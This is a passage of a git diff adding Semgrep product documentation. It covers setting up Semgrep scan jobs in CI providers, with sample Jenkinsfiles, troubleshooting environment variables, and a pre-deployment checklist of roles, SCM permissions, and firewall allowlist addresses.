+Semgrep is integrated into CI environments by creating a **job** that is run by the CI provider. After a scan, findings are sent to Semgrep AppSec Platform for triage and remediation.
+
+By integrating Semgrep into your CI environment, your development cycle benefits from the automated scanning of repositories at various events, such as:
+
+- Push events
+- Pull requests or merge requests (PRs or MRs)
+- User-initiated events (such as GitHub Action's `workflow_dispatch`)
+
+
+**SEMGREP MANAGED SCANS**
+
+As an alternative to integrating Semgrep into your CI/CD system, consider [Semgrep Managed Scans](/deployment/managed-scanning/overview), which enables you to bulk onboard and scan your repositories without requiring changes to your CI.
+
+
+## Guided setup for CI providers in Semgrep AppSec Platform
+
+This guide walks you through creating a Semgrep job in the following CI providers, which are explicitly supported in Semgrep AppSec Platform:
+
+- GitHub Actions
+- GitLab CI/CD
+- Jenkins
+- Bitbucket
+- CircleCI
+- Buildkite
+- Azure Pipelines
+- Semaphore
+
+If your provider is **not** on this list, you can still integrate Semgrep into your CI workflows by following the steps in [ Add Semgrep to other CI providers](/deployment/add-semgrep-to-other-ci-providers).
+
+## Projects
+
+Adding a Semgrep job to your CI provider also adds the repository's records, including findings, as a **project** in Semgrep AppSec Platform. Each project can be individually configured to send notifications or tickets.
+
+
+## Add Semgrep to CI
+
+
+
+
+To add a Semgrep job to your CI provider:
+
+
+
+Ensure you are signed in to Semgrep AppSec Platform.
+
+
+Click **[Projects](https://semgrep.dev/orgs/-/projects)** on the left sidebar.
+
+
+Click **Scan new project > CI/CD**.
+
+
+Click the name of the CI provider you use. You are taken to the **Add job** page.
+
+
+Follow the steps provided on the page. The process varies depending on your CI provider, but generally includes the following steps:
+ i. Click **Create new token** to create a `SEMGREP_APP_TOKEN`, which is used to when sending results to Semgrep AppSec Platform.
+ ii. Copy and paste the `SEMGREP_APP_TOKEN` and its value. Store it as an environment variable or secret in your CI provider.
+ iii. Optional: Click **Review CI config** to see Semgrep's default YAML configuration file for your CI provider.
+ iv. Click **Copy snippet** and paste it into your CI provider's configuration file (the filename is typically indicated in the page). Depending on your CI provider, you may have to create a custom configuration file or use an existing one.
+ v. Commit the configuration file to your repository.
+ vi. Return to Semgrep AppSec Platform and click **Check connection**.
+
+
+
+You have now added a Semgrep job to your CI provider; this starts your first **full scan**. Its findings are sent to Semgrep AppSec Platform for triage and remediation.
+
+
+
+
+To add a CI job to GitHub Actions:
+
+
+
+Ensure you are signed in to Semgrep AppSec Platform.
+
+
+Click **[Projects](https://semgrep.dev/orgs/-/projects)** on the left sidebar.
+
+
+Click **Scan new project > CI/CD**.
+
+
+Click **GitHub Actions**.
+
+
+A list of repositories appears. Select all the repositories you want to add a Semgrep job to.
+
+
+If you do not see the repository you want to add, adjust [ GitHub Application's Repository Access](https://github.com/settings/installations) configuration. See [Detecting GitHub repositories](#detecting-github-repositories) for more information.
+
+
+Click **Add CI job**. You are taken to the Add CI job page.
+
+
+Optional: Click **Review CI config** to see Semgrep's default YAML configuration file.
+
+
+Click **Commit file**.
+
+
+
+You have now added a Semgrep job to GitHub Actions. A **full scan** begins automatically after adding a new repository. Its findings are sent to Semgrep AppSec Platform for triage and remediation.
+
+### Detecting GitHub repositories
+
+If you aren't seeing your GitHub repos in the Cloud Platform, complete the following steps to ensure that your GitHub repository is **detected** by Semgrep AppSec Platform:
+
+
+
+Log in to GitHub.
+
+
+Perform one of the following steps:
+ i. For repositories in personal accounts: Click your **profile photo > Settings > Applications**.
+ ii. For repositories in org accounts: Click your **profile photo > Your organizations > NAME_OF_ORG > Settings > GitHub Apps**.
+
+
+On the `semgrep-app` entry, click **Configure**.
+
+
+Under **Repository access** select an option to provide access:
+ i. All repositories will display all current and future public and private repositories.
+ ii. Only select repositories will display explicitly selected repositories.
+
+
+
+
+
+
+
+**TIP**
+
+You can edit your configuration files to send findings to **GitHub Advanced Security Dashboard (GHAS)** and **GitLab SAST Dashboard**. Refer to the following samples:
+
+- [GitHub Advanced Security Dashboard](/semgrep-ci/sample-ci-configs/#upload-findings-to-github-advanced-security-dashboard)
+- [GitLab SAST Dashboard](/semgrep-ci/sample-ci-configs/#upload-findings-to-gitlab-security-dashboard)
+
+
+
+### Sample CI configuration snippets
+
+Refer to the following table for links to sample CI configuration snippets:
+
+| In-app CI provider | Sample CI configuration snippet |
+| :--- | :--- |
+| Azure Pipelines | [`azure-pipelines.yml`](/semgrep-ci/sample-ci-configs/#azure-pipelines) |
+| Bitbucket Pipelines | [`bitbucket-pipelines.yml`](/semgrep-ci/sample-ci-configs/#bitbucket-pipelines) |
+| Buildkite | [`pipelines.yml`](/semgrep-ci/sample-ci-configs/#buildkite) |
+| CircleCI | [`config.yml`](/semgrep-ci/sample-ci-configs/#circleci) |
+| GitHub Actions | [`semgrep.yml`](/semgrep-ci/sample-ci-configs/#github-actions) |
+| GitLab CI/CD | [`.gitlab-ci.yml`](/semgrep-ci/sample-ci-configs/#gitlab-cicd) |
+| Jenkins | [`Jenkinsfile`](/semgrep-ci/sample-ci-configs/#jenkins) |
+| Semaphore | [`semaphore.yml`](/semgrep-ci/sample-ci-configs/#semaphore) |
+
+### Data collected by Semgrep
+
+When running in CI, Semgrep runs fully in the CI build environment. Unless you have explicitly granted code access to Semgrep, your code is not sent anywhere.
+
+- Semgrep collects [findings data](/semgrep-ci/findings-ci), which includes the line number of the code match, but not the code. It is hashed using a one-way hashing function.
+- Findings data is used to generate line-specific hyperlinks to your source code management system and support other Semgrep functions.
+
+### Delete a project
+
+Deleting a project removes all of its findings, metadata, and other records from Semgrep AppSec Platform.
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Search for your repository's name.
+
+
+Click the **windows icon** to access the settings page for that project.
+
+
+Click the **three-dot (...) button** at the header and click **Delete project**.
+
+
+
+To delete an archived project:
+
+
+
+In Semgrep AppSec Platform, click **Projects**.
+
+
+Switch to the **Not Scanning** tab of the **Projects** page.
+
+
+Select the checkbox to **Show archived** projects.
+
+
+Search for the archived repository's name.
+
+
+Click the **window icon** under **Details** to access the settings page for that repository.
+
+
+Click the dropdown at the header and click **Delete project**.
+
+
+
+
+**INFO**
+
+It can take up to a day **(24 hours)** for the [Dashboard](/semgrep-appsec-platform/dashboard) to correctly update and remove findings associated with a recently deleted project.
+
+
+## Scan scope
+
+Semgrep scans can be classified by **scope**. The scope of a scan refers to what lines of code are scanned in a codebase. When classifying scans by scope, there are two types of scans:
+
+### Full scan
+
+A full scan runs on your entire codebase and reports every finding in the codebase. It is recommended to perform a full scan of your default branch, such as main or master at a regular cadence, such as every night or every week. This ensures that Semgrep AppSec Platform has a full list of all findings in your code base, regardless of when they were introduced. To run a full scan, run `semgrep ci` without setting the `SEMGREP_BASELINE_REF` environment variable. Full scans are triggered at a scheduled time, when the `semgrep.yml` file is edited, or manually by a user.
+
+### Diff-aware scan
+
+A diff-aware scan runs on your code before and after some "baseline" and only reports findings that are newly introduced in the commits after that baseline. Typically, Semgrep runs diff-aware scans upon the creation of a new pull request or merge request.
+
+For example, imagine a hypothetical repository with 10 commits. You set commit number 8 as the baseline. Consequently, Semgrep only returns scan results introduced by changes in commits 9 and 10. This is how `semgrep ci` can run in pull requests and merge requests, since it reports only the findings that are created by those code changes.
+
+To run a diff-aware scan, use `SEMGREP_BASELINE_REF=REF semgrep ci` where `REF` can be a commit hash, branch name, or other Git reference. Note that the `SEMGREP_BASELINE_REF` does not apply to GitHub Actions and GitLab CI/CD environments. This variable cannot be set to turn a diff-aware scan in GitHub Actions or GitLab CI/CD into a full scan.
+
+
+### Default branch names
+
+When you add a Semgrep CI job to your repository for the first time, Semgrep performs a full scan on the primary, or default, branches. In many cases, Semgrep automatically detects these branches as primary branches. However, you can also [set the primary branch name](/deployment/primary-branch). This is useful for repositories with unique names. This lets Semgrep know what branch to prioritize and perform full scans on.
+
+## Next steps
+
+You've set up Semgrep to scan in your repository and send findings after each scan. Your core deployment is almost complete.
+
+Remaining steps include:
+
+- Optional: [ Customize your CI job](/deployment/customize-ci-jobs).
+- For software composition analysis (SCA) scans using **Jenkins or Maven**: [ Set up SCA scans for your infrastructure.](/semgrep-supply-chain/setup-infrastructure)
+- For Jenkins users: Set up a separate CI job for diff-aware scans for feature branches (non-trunk branches) when a pull request or merge request is open. This is a prerequisite to receiving PR or MR comments. See Set up diff-aware scans.
+- Set up **PR or MR comments**, which post findings to developers in your SCM. This involves developers in the security process as active participants. See [ PR or MR comments](/category/pr-or-mr-comments) for next steps.
diff --git a/mintlify-docs/deployment/add-semgrep-to-other-ci-providers.mdx b/mintlify-docs/deployment/add-semgrep-to-other-ci-providers.mdx
new file mode 100644
index 0000000000..a71de66413
--- /dev/null
+++ b/mintlify-docs/deployment/add-semgrep-to-other-ci-providers.mdx
@@ -0,0 +1,223 @@
+---
+title: "Add Semgrep manually to CI providers"
+---
+
+
+**YOUR DEPLOYMENT JOURNEY**
+
+- You have gained the necessary [resource access and permissions](/deployment/checklist) required for deployment.
+- You have [created a Semgrep account and organization](/deployment/create-account-and-orgs).
+- For GitHub and GitLab users: You have [connected your source code manager](/deployment/connect-scm).
+- Optionally, you have [set up SSO](/deployment/sso).
+
+
+This guide documents the steps required to create a Semgrep job for CI providers for which Semgrep AppSec Platform offers no explicit guidance.
+
+See [ Add Semgrep to CI](/deployment/add-semgrep-to-ci/#guided-setup-for-ci-providers-in-semgrep-appsec-platform) before proceeding to ensure that this guide applies to your CI provider.
+
+Skip this guide if you have already configured a CI job.
+
+The steps provided here are known to work with the following CI providers:
+
+- AppVeyor
+- Bamboo
+- Bitrise
+- Buildbot
+- Codeship
+- Codefresh
+- Drone CI
+- Nomad
+- Semaphore
+- TeamCity CI
+- Travis CI
+
+## General steps
+
+The following steps provide an overview of the process. View the succeeding sections for detailed instructions.
+
+
+
+Create a token called `SEMGREP_APP_TOKEN`.
+
+
+Add this token as a credential, secret, or token to your CI provider.
+
+
+Create a CI job that runs Semgrep. This step is typically achieved by committing a CI configuration file. The syntax of the configuration file depends on your CI provider.
+
+
+The CI job can automatically start to run depending on your configuration. If the job does not start, run the job through the CI provider's interface or by committing code.
+
+
+Semgrep detects the `SEMGREP_APP_TOKEN`, sends it to Semgrep AppSec Platform for verification, and if verified, sends findings to Semgrep AppSec Platform.
+
+
+Define additional environment variables to enable other Semgrep AppSec Platform features. This is done last because it is easier to troubleshoot modifications to jobs after ensuring that the base CI job runs correctly.
+
+
+
+The next sections go over these steps in detail.
+
+### Create a SEMGREP_APP_TOKEN
+
+To create a `SEMGREP_APP_TOKEN`, follow these steps:
+
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Click **[ Settings](https://semgrep.dev/orgs/-/settings/tokens)** > **Tokens**.
+
+
+Click **Create new token**.
+
+
+Copy the name and value, then click **Save**.
+
+
+Store the token value into your CI provider. Tokens can also be referred to as secrets, credentials, or secure variables. The steps to do this vary depending on your CI provider.
+
+
+
+### Create a Semgrep CI job
+
+
+
+Add Semgrep to your CI pipeline. Do either of the following:
+ i. Reference or add the [Semgrep Docker image](https://hub.docker.com/r/semgrep/semgrep). This is the recommended method.
+ ii. Add `pipx install semgrep` (or `uv tool install semgrep` if you use [`uv`](https://docs.astral.sh/uv/)) into your configuration file as a step or command, depending on your CI provider's syntax. See the [Python Packaging guide](https://packaging.python.org/en/latest/guides/installing-stand-alone-command-line-tools/) for more on installing standalone Python CLI tools.
+
+
+Add `semgrep ci` as a step or command.
+
+
+Set the `SEMGREP_APP_TOKEN` environment variable within your configuration file.
+
+
+
+The following example is a Jenkinsfile that adds Semgrep through the Docker image:
+
+
+
+```java expandable
+pipeline {
+ agent any
+ environment {
+ // The following variable is required for a Semgrep AppSec Platform-connected scan:
+ SEMGREP_APP_TOKEN = credentials('SEMGREP_APP_TOKEN')
+
+ // Uncomment the following line to scan changed
+ // files in PRs or MRs (diff-aware scanning):
+ // SEMGREP_BASELINE_REF = "main"
+
+ // Troubleshooting:
+
+ // Uncomment the following lines if Semgrep AppSec Platform > Findings Page does not create links
+ // to the code that generated a finding or if you are not receiving PR or MR comments.
+ // SEMGREP_JOB_URL = "${BUILD_URL}"
+ // SEMGREP_COMMIT = "${GIT_COMMIT}"
+ // SEMGREP_BRANCH = "${GIT_BRANCH}"
+ // SEMGREP_REPO_NAME = env.GIT_URL.replaceFirst(/^https:\/\/github.com\/(.*).git$/, '$1')
+ // SEMGREP_REPO_URL = env.GIT_URL.replaceFirst(/^(.*).git$/,'$1')
+ // SEMGREP_PR_ID = "${env.CHANGE_ID}"
+ }
+ stages {
+ stage('Semgrep-Scan') {
+ steps {
+ sh '''docker pull semgrep/semgrep && \
+ docker run \
+ -e SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN \
+ -e SEMGREP_REPO_URL=$SEMGREP_REPO_URL \
+ -e SEMGREP_REPO_NAME=$SEMGREP_REPO_NAME \
+ -e SEMGREP_BRANCH=$SEMGREP_BRANCH \
+ -e SEMGREP_COMMIT=$SEMGREP_COMMIT \
+ -e SEMGREP_PR_ID=$SEMGREP_PR_ID \
+ -v "$(pwd):$(pwd)" --workdir $(pwd) \
+ semgrep/semgrep semgrep ci '''
+ }
+ }
+ }
+}
+```
+
+
+
+The next example is a Jenkins configuration file that installs Semgrep:
+
+
+
+
+```java expandable
+pipeline {
+ agent any
+ environment {
+ // You need to set the token as an environment variable
+ // (see Create a `SEMGREP_APP_TOKEN` section).
+ SEMGREP_APP_TOKEN = credentials('SEMGREP_APP_TOKEN')
+ }
+ stages {
+ stage('Semgrep-Scan') {
+ steps {
+ // Install and run Semgrep:
+ sh 'pipx install semgrep'
+ sh 'semgrep ci'
+ }
+ }
+ }
+}
+```
+
+
+
+### Run the job
+
+Depending on your CI provider and configuration, the job runs automatically. Otherwise, trigger the job by committing code or opening a PR or MR.
+
+### Verify the connection
+
+To verify that your Semgrep CI job is connected to Semgrep AppSec Platform:
+
+
+
+Go to your Semgrep AppSec Platform [Projects page](https://semgrep.dev/orgs/-/projects).
+
+
+Verify that your repository is listed on the Projects page and that Semgrep AppSec Platform is running a scan.
+
+
+
+### Troubleshoot your CI job
+
+Semgrep attempts to automatically detect certain CI values, such as your repository's name and URL. These values are used to provide context to findings in Semgrep AppSec Platform and hyperlinks to the code that generated the finding.
+
+Refer to the following table for common issues and the corresponding environment variables you can set to fix them:
+
+| Issue | Environment variable to set | Affected CI providers |
+| :--- | :--- | :--- |
+| Can't establish a connection to Semgrep AppSec Platform. | `SEMGREP_APP_TOKEN` | Must be set for all CI providers. |
+| Semgrep doesn't scan your PRs or MRs. | `SEMGREP_BASELINE_REF` | Required for CI providers **except** GitHub Actions or GitLab CI/CD. |
+| Can't click hyperlinks to your repository from Semgrep AppSec Platform, nor can Semgrep AppSec Platform create PR or MR comments. | `SEMGREP_REPO_NAME` | Set these environment variables as needed to troubleshoot broken links for any CI provider **except** GitHub Actions and GitLab CI/CD. |
+| Can't click hyperlinks to your repository from Semgrep AppSec Platform, nor can Semgrep AppSec Platform create PR or MR comments. | `SEMGREP_REPO_URL` | Set these environment variables as needed to troubleshoot broken links for any CI provider **except** GitHub Actions and GitLab CI/CD. |
+| Can't click hyperlinks to your repository from Semgrep AppSec Platform, nor can Semgrep AppSec Platform create PR or MR comments. | `SEMGREP_BRANCH` | Set these environment variables as needed to troubleshoot broken links for any CI provider **except** GitHub Actions and GitLab CI/CD. |
+| Can't click hyperlinks to your repository from Semgrep AppSec Platform, nor can Semgrep AppSec Platform create PR or MR comments. | `SEMGREP_JOB_URL` | Set these environment variables as needed to troubleshoot broken links for any CI provider **except** GitHub Actions and GitLab CI/CD. |
+| Can't click hyperlinks to your repository from Semgrep AppSec Platform, nor can Semgrep AppSec Platform create PR or MR comments. | `SEMGREP_COMMIT` | Set these environment variables as needed to troubleshoot broken links for any CI provider **except** GitHub Actions and GitLab CI/CD. |
+| Can't click hyperlinks to your repository from Semgrep AppSec Platform, nor can Semgrep AppSec Platform create PR or MR comments. | `SEMGREP_PR_ID` | Required to enable hyperlinks for **Azure Pipelines**. |
+
+## Data collected by Semgrep AppSec Platform
+
+When running in CI, Semgrep runs fully in the CI build environment. Unless you have explicitly granted code access to Semgrep, your code is not sent anywhere.
+
+- Semgrep AppSec Platform collects [findings](/semgrep-ci/findings-ci), which includes the line number of the code match, but not the code. It is hashed using a one-way hashing function.
+- Findings data is used to generate line-specific hyperlinks to your source code management system and support other Semgrep functions.
+
+## Next steps
+
+You've set up Semgrep to scan in your repository and send findings after each scan. Your core deployment is almost complete.
+
+Remaining steps include:
+
+- Optional: [ Customize your CI job](/deployment/customize-ci-jobs).
+- For software composition analysis (SCA) scans using **Jenkins or Maven**: [ Set up SCA scans for your infrastructure.](/semgrep-supply-chain/setup-infrastructure)
+- Set up diff-aware scanning for feature branches (non-trunk branches) when a pull request or merge request is open. This is a prerequisite to receiving PR or MR comments. See Set up diff-aware scans.
+- Set up **PR or MR comments**, which post findings to developers in your SCM. This involves developers in the security process as active participants. See [ PR or MR comments](/category/pr-or-mr-comments) for next steps.
diff --git a/mintlify-docs/deployment/beyond-core-deployment.mdx b/mintlify-docs/deployment/beyond-core-deployment.mdx
new file mode 100644
index 0000000000..ac3520d9dc
--- /dev/null
+++ b/mintlify-docs/deployment/beyond-core-deployment.mdx
@@ -0,0 +1,33 @@
+---
+title: "Customize a core deployment"
+description: "Now that you've finished your Semgrep core deployment, you can either customize Semgrep's scan behavior or continue to enable additional deployment features. The following sections list common tasks after you've finished your core deployment."
+---
+
+## Customize Semgrep scans or triage workflow
+
+| Concern | Guide |
+| :--- | :--- |
+| Semgrep scans irrelevant files. | [Ignore files, folders, or code](/ignoring-files-folders-code). |
+| Semgrep Code is too noisy. | Enable [cross-file (interfile) analysis](/semgrep-code/semgrep-pro-engine-intro) or remove rules and rulesets through the [Policies page](/semgrep-code/policies). |
+| I want my developers to see certain security issues in their pull request or merge request. | Configure [Comment mode](/semgrep-code/policies#block-a-pr-or-mr-through-rule-modes) in the Policies page. |
+| I want to prevent developers from using dependencies with certain licenses. | Set up [license compliance](/semgrep-supply-chain/license-compliance).|
+| I want to receive AI assistance when I triage findings. | Enable [Semgrep Multimodal](/semgrep-multimodal/overview). |
+| I want to enforce my organization's coding standards. | Write a [custom rule](/writing-rules/overview) and add it to your Policies page. |
+
+## Enable additional deployment features
+
+| Concern | Guide |
+| :--- | :--- |
+| I want to receive notifications in my environment. | Set up [notifications](/semgrep-appsec-platform/notifications). |
+| I want my developers to use Semgrep on their IDE. | Install and set up available [IDE extensions](/extensions/overview). |
+| I'm scanning too many projects (repositories onboarded to Semgrep) and want to group them somehow. | [Tag your projects](/semgrep-appsec-platform/tags). |
+| I'd like to manage access to the resources that developers can view or change in Semgrep AppSec Platform. | Configure [roles and users](/deployment/teams/overview). |
+
+## Stay up-to-date on new Semgrep features
+
+Subscribe to the:
+
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/deployment/checklist.mdx b/mintlify-docs/deployment/checklist.mdx
new file mode 100644
index 0000000000..2855489313
--- /dev/null
+++ b/mintlify-docs/deployment/checklist.mdx
@@ -0,0 +1,306 @@
+---
+title: "Pre-deployment checklist"
+---
+
+Before starting the deployment setup, use this checklist to ensure that:
+
+- You and your organization agree on the **scope** of the deployment.
+- You are aware of **permissions** that Semgrep needs to provide certain functions.
+- You have **access** to the resources needed to carry out the deployment.
+
+
+**INFO**
+
+Ensure that your infrastructure meets all the [ Prerequisites](/prerequisites) to run Semgrep.
+
+
+## Stakeholders and deployment team
+
+For medium-to-large teams, typically with more than 10 developers, coordinating with other departments before starting the deployment is crucial to an efficient roll-out. A complete deployment ensures that your licenses are fully used.
+
+Here are some teams or departments that may be responsible for parts of your Semgrep deployment:
+
+| Department | Tasks related to deployment |
+| :--- | :--- |
+| Infrastructure | SSO, CI/CD, and source code manager (SCM) configuration. |
+| Engineering | Repository ownership, displaying findings to developers in PRs or MRs. |
+| IT | Firewall or VPN configuration. |
+
+## Scope
+
+Scope refers to the breadth of deployment integration within your organization. The more users and repositories you onboard to Semgrep, the more crucial training becomes for **security champions** within your organization.
+
+Ensure that all stakeholders agree on:
+
+- Which users and departments will use Semgrep.
+- Which repositories you will scan with Semgrep.
+- How frequently you run Semgrep scans, such as daily or weekly, and at what time. This may affect other processes, such as PR approvals.
+- A timeframe for deployment. You may divide this into phases.
+
+**Deployment times** vary greatly depending on your processes and size.
+
+
+**ON SCHEDULING SCANS**
+
+Monorepos may take longer to finish scanning. Semgrep provides several options to improve performance, including piecemeal scanning of the monorepo. See [ Scanning a monorepo in parts](/kb/semgrep-ci/scan-monorepo-in-parts) for more information.
+
+
+## Roles
+
+Semgrep provides three primary roles: **admin**, **member**, and **readonly**.
+
+Deployments can also enable a fourth role, **manager**, through the [Teams](/deployment/teams/overview) feature, which provides project-level role-based access control.
+
+For **single-user deployments**, you are the sole **admin** of your deployment.
+
+For **multi-user deployments**, determine the following:
+
+- The administrators (**admins**) that own the Semgrep deployment.
+- For **members**, ensure that they have a sign-in method:
+ - SSO
+ - GitHub Cloud
+ - GitLab Cloud
+
+## Required permissions and access
+
+The following checklist breaks down permissions required by Semgrep features.
+
+| Feature | Permission required |
+| :--- | :--- |
+| Run Semgrep continuously in your CI workflows. | Adding or making changes to CI jobs. This includes committing configuration files for each repository. |
+| Run Semgrep continuously in your CI workflows. | Defining environment variables and storing secrets. |
+| Run Semgrep continuously **without** changing your CI workflows. | Read access to user-selected repositories. |
+| Manage user authentication with SSO. | Viewing and editing of SSO configurations. |
+| Receive Slack notifications. | Being a **Slack workspace owner**; alternatively, coordinate with the team responsible. |
+| Send pull requests or merge requests to your SCM. | Editing firewall or VPN allowlist for self-hosted repositories. |
+
+
+### SCM-specific required permissions
+
+
+
+
+
+
+#### Azure DevOps
+
+| Feature | Permission |
+| :--- | :--- |
+| Pull request (PR) comments. | Able to create [user personal access tokens](https://learn.microsoft.com/en-us/azure/devops/organizations/accounts/use-personal-access-tokens-to-authenticate). |
+
+
+
+
+
+#### Bitbucket
+
+| Feature | Permission |
+| :--- | :--- |
+| Pull request (PR) comments. | Able to create **repository variables**. |
+
+
+
+
+
+#### GitHub
+
+| Feature | Permission required |
+| :--- | :--- |
+| Create CI jobs for repositories in bulk and detect GitHub repositories automatically. | Installing GitHub apps. |
+| AI-assisted triage and recommendations. | Code access. |
+
+
+
+
+
+#### GitLab
+
+| Feature | Permission required |
+| :--- | :--- |
+| Merge request (MR) comments. | Create personal access tokens. |
+| AI-assisted triage and recommendations. | Create personal or project-level access tokens. |
+| AI-assisted triage and recommendations. | Read access to user-selected repositories. |
+
+
+
+
+
+
+## Appendices
+
+### Permissions
+
+
+
+
+#### Permissions for GitHub
+
+This section explains Semgrep AppSec Platform permissions that are requested in two different events:
+
+* When you first sign in through GitHub.
+* When you first add, integrate, or onboard your repositories to Semgrep AppSec Platform.
+
+#### Permissions when signing in with GitHub
+
+Semgrep AppSec Platform requests the following standard permissions set by GitHub when you first sign in. However, not all permissions are used by Semgrep AppSec Platform.
+
+
+
+**Verify your GitHub identity**
+Enables Semgrep AppSec Platform to read your GitHub profile data, such as your username.
+
+**Know which resources you can access**
+Semgrep does not use or access any resources when first logging in. However, you can choose to share resources at a later point to add repositories into Semgrep AppSec Platform.
+
+**Act on your behalf**
+Enables Semgrep AppSec Platform to perform certain tasks **only on resources that you choose to share with Semgrep AppSec Platform**. Semgrep AppSec Platform never uses this permission and never performs any actions on your behalf, even after you have installed `semgrep-app`. See [When does a GitHub App act on your behalf?](https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/authorizing-github-apps) in GitHub documentation.
+
+
+#### Permissions when adding members or repositories into Semgrep AppSec Platform
+
+The public GitHub integration app is called [`semgrep-app`](https://github.com/apps/semgrep-app). This app is used to integrate Semgrep into user-selected GitHub repositories.
+
+
+
+**Reading metadata of the repositories you select**
+Enables Semgrep AppSec Platform to list repository names on the project setup page.
+
+**Reading the list of organization members**
+Enables Semgrep AppSec Platform to determine who can manage your Semgrep organization based on your GitHub organization's members list.
+
+**Reading and writing pull requests**
+Enables Semgrep AppSec Platform to comment about findings on pull requests.
+
+**Reading and writing actions**
+Enables Semgrep AppSec Platform to cancel stuck jobs, rerun jobs, pull logs from jobs, and perform on-demand scanning.
+
+**Reading [GitHub Checks](https://docs.github.com/en/rest/reference/checks)**
+Facilitates debugging of Semgrep AppSec Platform when configured out of [GitHub Actions](https://docs.github.com/en/actions).
+
+**Reading and writing security events**
+Enables integration with GitHub Advanced Security (for example, to show Semgrep results).
+
+**Reading and writing secrets**
+Enables automatically adding of the Semgrep AppSec Platform Token to your repository secrets when onboarding projects. Note: Semgrep cannot read the values of your existing or future secrets (only the names).
+
+**Reading and writing 2 files**
+Enables Semgrep AppSec Platform to configure itself to run in CI by writing to `.github/workflows/semgrep.yml` and `.semgrepignore` files.
+
+**Reading and writing workflows**
+Enables Semgrep AppSec Platform to configure itself to run in CI by writing to `.github/workflows/semgrep.yml`. GitHub allows writing to files within `.github/workflows/` directory only if this permission is granted along with "Writing a single file."
+
+**Reading and writing pull requests**
+Write permissions allow Semgrep AppSec Platform to leave pull request comments about findings. Read permissions allow Semgrep AppSec Platform to automatically remove findings when the pull request that introduced them is closed without merging.
+
+
+
+#### Permissions when adding repositories into Semgrep AppSec Platform through Semgrep Managed Scans or using AI features
+
+You can optionally create a private GitHub app, which follows the naming convention **Semgrep Code - YOUR_ORG_NAME**. This private app is used for the following features:
+
+- To add repositories to Semgrep AppSec Platform without changing your existing CI workflows. To learn more, see [ Semgrep Managed Scans](/deployment/managed-scanning/overview).
+- To integrate AI-asssisted features into your Semgrep organization. To learn more, see [ Semgrep Multimodal overview](/semgrep-multimodal/overview).
+
+
+**INFO**
+
+These features require **read access** to your code.
+
+
+
+
+**Reading metadata of the repositories you select**
+Lets Semgrep list their names on the project setup page.
+
+**Reading the list of organization members**
+Lets Semgrep determine who can manage your Semgrep organization based on your GitHub organization's members list.
+
+**Writing (and reading) pull requests**
+Lets Semgrep comment about findings on pull requests.
+
+**Writing (and reading) actions**
+Allows Semgrep AppSec Platform to cancel stuck jobs, rerun jobs, pull logs from jobs, and perform on-demand scanning.
+
+**Reading checks**
+Facilitates debugging of Semgrep AppSec Platform when configured out of GitHub Actions
+
+**Writing (and reading) security events.**
+Enables integration with GitHub Advanced Security (for example, to show Semgrep results)
+
+**Writing (and reading) secrets**
+Enables automatic adding of the Semgrep AppSec Platform Token to your repository secrets when onboarding projects. Note: We cannot read the values of your existing or future secrets (only the names).
+
+**Writing (and reading) 2 files**
+Lets Semgrep configure itself to run in CI by writing to .github/workflows/semgrep.yml and .semgrepignore.
+
+**Writing (and reading) workflows**
+Lets Semgrep configure itself to run in CI by writing to .github/workflows/semgrep.yml. GitHub allows writing to files within .github/workflows/ only if this permission is granted along with "Writing a single file."
+
+**Read source code of the repositories you select**
+Allows Semgrep Multimodal to fetch source code files on-demand to construct AI prompts.
+
+
+
+
+
+
+#### Permissions for GitLab
+
+Semgrep requires the following permissions (scopes) to enable the authentication of a session:
+
+* `openid`
+* `email`
+* `profile`
+* `API`
+
+
+
+
+### IP addresses
+
+If you are behind a firewall, are using a virtual private network (VPN), or have network restrictions regarding access, you may need to add the following IP addresses to the **ingress** allowlist and **egress** allowlist:
+
+```bash
+# Ingress IP addresses (from Semgrep to your infrastructure)
+# and egress IP addresses (from your infrastructure to Semgrep)
+35.166.231.235
+52.35.248.246
+52.34.137.110
+44.225.64.41
+```
+
+#### Additional egress IP addresses
+
+You must also add **CloudFront IP addresses** to your **egress** allowlist. Refer to [ Locations and IP address ranges of CloudFront edge servers](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/LocationsOfEdgeServers.html) for a list of IP addresses.
+
+#### Allowlists when using Semgrep Network Broker
+
+The [Semgrep Network Broker](/semgrep-ci/network-broker) facilities secure access with Semgrep, and its use can replace the allowlisting of the IP addresses required for ingress. The Network Broker, however, only facilitates requests from Semgrep to your network and *doesn't* assist with requests originating from your network, including those from your network to Semgrep.
+
+In other words, the only address you would have to allow inbound is `wireguard.semgrep.dev` on UDP port `51820`, or your tenant's equivalent. Depending on how restrictive your network is, you may also need to modify your allowlist to include the egress IP addresses provided in [IP addresses](#ip-addresses).
+
+#### Features that require inbound network connectivity
+
+- [Source code manager connections](/deployment/connect-scm#connect-to-on-premise-orgs-and-projects)
+- [PR and MR comments](/category/pr-or-mr-comments)
+- [Semgrep Managed Scans](/deployment/managed-scanning/overview)
+- [Semgrep Multimodal](/semgrep-multimodal/getting-started)
+
+### Semgrep versions
+
+Many improvements to the Semgrep AppSec Platform experience only work with up-to-date Semgrep CLI versions. As such, Semgrep AppSec Platform only supports the 10 most recent minor versions of Semgrep CLI. For example, if the latest release was 1.60.0, all versions greater than 1.50.0 are supported, while earlier versions, such as 1.49.0, can be deprecated or can result in failures.
+
+To update Semgrep, see [Update Semgrep](/update).
+
+Docker users: use [the **latest** tag](https://hub.docker.com/r/semgrep/semgrep/tags?page=1&name=latest) to ensure you are up to date.
+
+### Semgrep AppSec Platform session details
+
+- The time before you need to reauthenticate to Semgrep AppSec Platform is 7 days.
+- A Semgrep AppSec Platform session token is valid for 7 days.
+- This session timeout is not configurable.
+- Semgrep AppSec Platform does not use cookies; instead it uses `localStorage` to store access tokens. The data in `localStorage` expires every 7 days.
+
+## Additional resources
+
+Check out [How to introduce Semgrep to your organization](https://blog.trailofbits.com/2024/01/12/how-to-introduce-semgrep-to-your-organization/) from Trail of Bits for tips on how to evaluate and deploy Semgrep for your org.
diff --git a/mintlify-docs/deployment/claim-a-license.mdx b/mintlify-docs/deployment/claim-a-license.mdx
new file mode 100644
index 0000000000..47116a4c91
--- /dev/null
+++ b/mintlify-docs/deployment/claim-a-license.mdx
@@ -0,0 +1,27 @@
+---
+title: "Claim a license"
